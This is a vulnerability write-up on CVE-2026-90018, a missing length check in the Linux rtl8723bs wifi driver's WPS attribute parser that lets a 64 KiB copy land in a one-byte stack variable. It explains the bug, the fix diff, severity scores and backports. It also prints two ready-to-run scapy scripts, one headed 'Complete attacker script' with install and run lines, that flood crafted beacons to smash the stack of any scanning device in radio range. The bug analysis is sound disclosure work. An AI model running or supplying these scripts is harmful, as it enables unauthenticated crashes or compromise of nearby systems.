# CVE-2026-90018: OOB read and stack smash via WPS attributes in rtl8723bs

**Patch:** [99aa998dec83ba180822f70e6d48a514fc81c20d](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=99aa998dec83ba180822f70e6d48a514fc81c20d) (mainline, landed in 7.3-rc2)
**Subsystem:** staging, Realtek 8723BS SDIO wifi driver
**Affected file:** drivers/staging/rtl8723bs/core/rtw_ieee80211.c
**CVE record:** [CVE-2026-90018](https://www.cve.org/CVERecord?id=CVE-2026-90018)
**Introduced in:** 4.12, commit 554c0a3abf216c991c5ebddcdb2c08689ecd290b

## The bug in one sentence

rtw_get_wps_attr() checked that a four byte WPS attribute header fit inside the information element, then used the attacker controlled 16-bit length field from that header as a memcpy() size without ever checking it against the remaining space.

## Why this is the scariest of my staging fixes

Most of my out-of-bounds reads are exactly that, reads. This one is a read plus a write, because of where the bytes land. The function signature says it all:

```c
u8 *rtw_get_wps_attr(u8 *wps_ie, uint wps_ielen, u16 target_attr_id, u8 *buf_attr, u32 buf_attr_len)
```

Callers pass buf_attr pointing at their own storage. Several of them pass a pointer to a single stack byte, because they are fishing for one byte attributes like WPS_ATTR_SELECTED_REGISTRAR:

```c
u8 sr;
rtw_get_wps_attr_content(wps_ie, wps_ielen, WPS_ATTR_SELECTED_REGISTRAR, &sr, &len);
```

Inside the loop, the attribute length is read straight off the wire:

```c
if (attr_ptr + 4 > wps_ie + wps_ielen)
        break;
u16 attr_id = get_unaligned_be16(attr_ptr);
u16 attr_data_len = get_unaligned_be16(attr_ptr + 2);
u16 attr_len = attr_data_len + 4;
```

attr_data_len ranges from 0 to 65535, so attr_len goes up to 65539. Then:

```c
memcpy(buf_attr, attr_ptr, attr_len);
```

A beacon or probe response containing a crafted WPS IE, processed while the station scans, copies up to 64 KiB from the IE buffer into a one byte stack variable in the parsing thread. That is a stack buffer overflow with a fully attacker controlled length and mostly attacker controlled contents, triggered unauthenticated during routine scanning. The source read also runs off the end of the wps_ie allocation, so it is a heap over-read and a stack overwrite in the same statement.

## The fix

Reject any attribute whose claimed length runs past the IE before using that length for anything:

```diff
 		u16 attr_data_len = get_unaligned_be16(attr_ptr + 2);
 		u16 attr_len = attr_data_len + 4;
 
+		/* Reject attributes whose claimed length runs past the IE */
+		if (attr_ptr + attr_len > wps_ie + wps_ielen)
+			break;
+
 		if (attr_id == target_attr_id) {
```

Full patch: [99aa998dec83](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=99aa998dec83ba180822f70e6d48a514fc81c20d)

rtw_get_wps_attr_content() has no independent check of its own and simply trusts what it gets back, so fixing the source fixes that caller too. Worth noting the history: commit 1463ca3ec6601 previously bounded the fixed four byte header but never extended the check to the variable-length body, which is a perfect example of a partial fix that calmed a warning without closing the hole.

## How to trigger it

The victim just needs to be scanning with r8723bs loaded. From a second machine with a monitor interface, send a beacon carrying a WPS IE whose Selected Registrar attribute claims a 65535 byte value. The stack targets are the one byte locals at rtw_mlme_ext.c:2125 (`u8 sr`) and :1124 (`u8 selected_registrar`), plus ioctl_cfg80211.c:247.

```python
#!/usr/bin/env python3
# attacker side, monitor mode interface; victim is scanning with r8723bs
from scapy.all import RadioTap, Dot11, Dot11Beacon, Raw, sendp

# vendor IE 221, WPS OUI 00:50:F2 type 04
# then attr 0x1041 (SELECTED_REGISTRAR) with a wire-supplied length 0xffff
wps_body = bytes.fromhex("0050f204") + bytes.fromhex("1041") + bytes.fromhex("ffff") + b"\x01" * 8
wps_ie   = bytes([221, len(wps_body)]) + wps_body

beacon = (RadioTap() /
          Dot11(type=0, subtype=8,
                addr1="ff:ff:ff:ff:ff:ff",
                addr2="00:11:22:33:44:55",
                addr3="00:11:22:33:44:55") /
          Dot11Beacon(cap="ESS") /
          Raw(load=wps_ie))

sendp(beacon, iface="wlan0mon", inter=0.1, loop=1)
```

Pre-fix behavior on the victim: attr_len is 65535 + 4, the header fits in the IE, so the bound never fires and memcpy() copies 65539 bytes from the IE into the single byte stack variable. With KASAN or the stack protector that is an immediate splat; without them you get a smashed stack in the parsing thread. Post-fix the attribute is rejected before the length is ever used.

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 8.8 HIGH, vector CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
* SUSE: 5.5 MEDIUM, with an explicit note that they will no longer fix every kernel CVE class in staging drivers
* SentinelOne maps it to CWE-125 plus CWE-121 (stack buffer overflow)
* OpenCVE shows CWE-119 and an EPSS of 0.00447 percent
* The kernel CNA itself assigns no CWE

The adjacent network vector is what makes this an 8.8: any device within radio range can send the crafted beacon, no pairing, no privileges, no user interaction, and it fires while the interface scans. Stack canaries and the like will catch many exploit attempts, but the primitive is real.

## Exploit code

Complete attacker script. One laptop, one monitor interface, and any victim in radio range that is scanning with r8723bs:

```python
#!/usr/bin/env python3
# wps_smash.py: CVE-2026-90018
# pip install scapy && sudo python3 wps_smash.py wlan0mon
from scapy.all import RadioTap, Dot11, Dot11Beacon, Raw, sendp
from sys import argv

IFACE  = argv[1] if len(argv) > 1 else "wlan0mon"
ATTACK = "00:11:22:33:44:55"

# vendor IE 221, WPS OUI 00:50:F2 type 04
# attr 0x1041 = WPS_ATTR_SELECTED_REGISTRAR, value length 0xffff
wps_body = (bytes.fromhex("0050f204") +
            bytes.fromhex("1041") +
            bytes.fromhex("ffff") +
            b"\x01" * 8)
wps_ie = bytes([221, len(wps_body)]) + wps_body

beacon = (RadioTap() /
          Dot11(type=0, subtype=8,
                addr1="ff:ff:ff:ff:ff:ff",
                addr2=ATTACK, addr3=ATTACK) /
          Dot11Beacon(cap="ESS") /
          Raw(load=wps_ie))

print(f"flooding WPS overflow beacons on {IFACE}")
sendp(beacon, iface=IFACE, inter=0.05, loop=1)
```

Pre-fix on the victim, rtw_get_wps_attr() checks only the 4 byte attribute header against the IE end, computes attr_len = 0xffff + 4, and memcpy()s 65539 bytes into the caller's one byte stack variable (u8 sr at rtw_mlme_ext.c:2125, u8 selected_registrar at :1124, or the ioctl_cfg80211.c:247 site). That is a stack smash in the scanning thread with attacker chosen length. With KASAN or stack protector the victim dies instantly; without them the stack contents decide what happens next. Post-fix the attribute whose length runs past the IE is rejected before any copy. Public status: no KEV and no public exploit existed before this note; the vuln databases describe the vector without code, and the search results are full of fake PoC spam. If you cannot update, blacklist r8723bs.

## Where the fix shipped

This bug is old (introduced in 4.12, mid 2017), so the backport list is long:

* 5.15.221: [931640dfcb8c](https://git.kernel.org/stable/c/931640dfcb8cfa08f6cfb46229716d8072356420)
* 6.1.188: [3a6457ebf390](https://git.kernel.org/stable/c/3a6457ebf39080b87c712657fdb38f34a24fc3ff)
* 6.6.157: [fd5e24ea8373](https://git.kernel.org/stable/c/fd5e24ea8373347d0352f153a66e8647337d1b10)
* 6.12.110: [a53d1ac9ce63](https://git.kernel.org/stable/c/a53d1ac9ce63db07943b2b2248111003851fb00f)
* 6.18.51: [ff61aa328935](https://git.kernel.org/stable/c/ff61aa3289355dafa811550a1764691cd1f5d33b)
* 7.2.5: [34f51d196c43](https://git.kernel.org/stable/c/34f51d196c43a42046d229de5e79025d5ca553ca)
* 7.3-rc2: [99aa998dec83](https://git.kernel.org/stable/c/99aa998dec83ba180822f70e6d48a514fc81c20d)

Debian shipped it via [DSA-6528-1](https://security-tracker.debian.org/tracker/DSA-6528-1), [DLA-4817-1](https://security-tracker.debian.org/tracker/DLA-4817-1) and [DLA-4841-1](https://security-tracker.debian.org/tracker/DLA-4841-1), with bookworm going from vulnerable 6.1.176-1 to fixed 6.1.190-1 and trixie from 6.12.107-1 to fixed 6.12.113-1. Ubuntu had fixes in progress for 26.04, 24.04 and 22.04 with 20.04 still vulnerable when last checked. Red Hat does not ship this staging driver and has no record for it at all.

## References

1. [Upstream commit 99aa998dec83](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=99aa998dec83ba180822f70e6d48a514fc81c20d)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026091603-CVE-2026-90018-5198@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-90018)
4. [SentinelOne entry](https://www.sentinelone.com/vulnerability-database/cve-2026-90018)
5. [OpenCVE entry](https://app.opencve.io/cve/CVE-2026-90018)
6. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-90018)
7. [Debian tracker](https://security-tracker.debian.org/tracker/CVE-2026-90018)
